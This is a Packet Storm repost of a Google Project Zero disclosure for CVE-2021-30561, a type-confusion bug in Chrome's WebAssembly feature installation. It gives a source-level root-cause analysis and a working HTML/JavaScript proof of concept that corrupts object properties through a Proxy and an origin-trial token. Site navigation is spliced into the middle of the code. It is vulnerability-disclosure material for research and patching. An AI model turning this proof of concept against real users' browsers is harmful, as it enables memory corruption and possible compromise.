

Chrome JS WasmJs::InstallConditionalFeatures Object Corruption

Authored by Google Security Research, Glazunov

Posted Aug 16, 2021

Chrome suffers from a JS object corruption vulnerability in WasmJs::InstallConditionalFeatures.

tags | exploit

advisories | CVE-2021-30561

SHA-256 | d93338742f0e327b777564c42e9113eddc2f7b0558ef38e88cff53702c978b Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

Chrome: JS object corruption in WasmJs::InstallConditionalFeatures

VULNERABILITY DETAILS

```
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                       Handle<Context> context) {
    // Exception handling may have been enabled by an origin trial. If so, make
    // sure that the `WebAssembly.Exception` constructor is set up.
    auto enabled_features = i::wasm::WasmFeatures::FromContext(isolate, context);
    if (enabled_features.has_eh()) {
        Handle<JSGlobalObject> global = handle(context->global_object(), isolate);
        MaybeHandle<Object> maybe_webassembly =
            JSObject::GetProperty(isolate, global, \WebAssembly\");
        Handle<JSObject> webassembly =
            Handle<JSObject>::cast(maybe_webassembly.ToHandleChecked());
        // Setup Exception
        Handle<String> exception_name = v8_str(isolate, \Exception\");
        if (!JSObject::HasProperty(webassembly, exception_name).FromMaybe(true)) { // *** 1 ***
            Handle<JSFunction> exception_constructor = InstallConstructorFunc( // *** 2 ***
                isolate, webassembly, \Exception\", WebAssemblyException);
        }
    }
}

Handle<JSFunction> InstallConstructorFunc(Isolate* isolate,
                                       Handle<JSObject> object,
                                       const char* str,
                                       FunctionCallback func) {
    return InstallFunc(isolate, object, str, func, 1, true, DONT_ENUM,
                      SideEffectType::kHasNoSideEffect);
}

Handle<JSFunction> InstallFunc(
    Isolate* isolate, Handle<JSObject> object, const char* str,
    FunctionCallback func, int length, bool has_prototype = false,
    PropertyAttributes attributes = NONE,
    SideEffectType side_effect_type = SideEffectType::kHasSideEffect) {
    Handle<String> name = v8_str(isolate, str);
    Handle<JSFunction> function =
        CreateFunction(isolate, name, func, has_prototype, side_effect_type);
    function->shared().set_length(length);
    JSObject::AddProperty(isolate, object, name, function, attributes); // *** 3 ***
    return function;
}
...

The function `WasmJs::InstallConditionalFeatures` is responsible for setting up the `WebAssembly.Exception`
constructor[2] depending on whether the corresponding feature is enabled. Usually, code like above only runs at
context creation time before any user JS can be executed. However, in this case, the feature is controlled by
an origin trial, and an attacker can add a new origin trial token to the active document at any time, by which
they may have modified or replaced the `WebAssembly` object.

This is problematic because the `Exception` constructor is assigned via the service function `AddProperty`[3].
Unlike the regular `SetProperty`, `AddProperty` doesn't check whether a property with the same name is already
defined on the receiver. As a result, the receiver may end up in a corrupted state where two of its properties
have the same name. Moreover, if the receiver's map is deprecated by the time `AddProperty` is called, the
function will create a new property descriptor, but modify the value of the existing property without updating
its descriptor.

A property descriptor may contain, among other things, the field map i.e. the only map that values of that
property are allowed to have. This information is used by TurboFan in the load elimination phase in order to
remove unnecessary map checks. If an incompatible object is assigned to the property, the field map gets
cleared, and all dependent code gets deoptimized.

The vulnerability allows the attacker to construct an object with a field that doesn't match its field map and
thus cause a type confusion between an arbitrary JS object and the `Exception` constructor in JIT-compiled
JavaScript code.

Note that the code checks if the `Exception` property already exists[1]. Unfortunately, it uses the
`HasProperty` function, which follows prototype chains and trusts `Proxy` objects. Therefore, the attacker can
implement a `Proxy` with a custom `has` handler, which will be triggered by `HasProperty` and define the
`Exception` property when it's too late for the function to spot it.
```

VERSION

```
Google Chrome 91.0.4472.77 (Official Build) (x86_64)
Chromium 93.0.4532.0 (Developer Build) (64-bit)
```

REPRODUCTION CASE

```
<body>
<script>
array = [1,1];
array.stable_map = 1; // LoadElimination ignores fields with non-stable maps

proxy = new Proxy([], {
  has() {
    object_1.Exception = array;

    object_2.deprecated_map = 1.1;
    object_2.Exception = array;

    return false;
  }
});

object_1 = {__proto__: proxy};
object_1.deprecated_map = 0;

object_2 = {__proto__: proxy};

WebAssembly = object_1;

meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = 'AkraUQ8UvLgB1/MRvqU92uw22caKUJ75hMutXva8maph9XEakUkf1fna4V3y8' +
  'fEso1v8y92QhL2v1w1zfc3y9aAAJ2wyVcm1na410Jod8Hwecrov2f2UW' +
  'xvZyImYXN0bmVzczyOyNsAyMTkudRMuc15hcHhzc090LmNvbTo0NDM1LCJmZWw' +
  '0dXJ1Ijo1V2ViQXNz2W1ib1h1PeGN1cHRpb25zIiw1ZXhwaXJ5IjoxNjM3MTA3' +
  'MTk5SQ==';
document.head.appendChild(meta);

delete object_1.Exception; // transition back to object_2's map

jit = (object, index) => {
  return object.Exception[index];
}
for (var i = 0; i < 100000; ++i)
  jit(object_2, 0);

alert(jit(object_1, Number(location.hash.substring(1))));
</script>
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

```
</body>
...

The repro case won't work locally with the token above because of the origin restrictions. A live demo is
available at https://analog-fastness-230219.uc.r.appspot.com/ebfe973809e47053be02ace515eef631/#1000000.

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2021-09-12.

Related CVE Numbers: CVE-2021-30561.

Found by: glazunov@google.com
```

- | | |
|--|---------------------------------|
| Spoof (2,166) | SUSE (1,444) |
| SQL Injection (16,102) | Ubuntu (8,199) |
| TCP (2,379) | UNIX (9,159) |
| Trojan (686) | UnixWare (185) |
| UDP (676) | Windows (6,511) |
| Virus (662) | Other |
| Vulnerability (31,136) | |
| Web (9,365) | |
| Whitepaper (3,729) | |
| x86 (946) | |
| XSS (17,494) | |
| Other | |

[Login](#) or [Register](#) to add favorites



© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)



[Follow us on Twitter](#)



[Subscribe to an RSS Feed](#)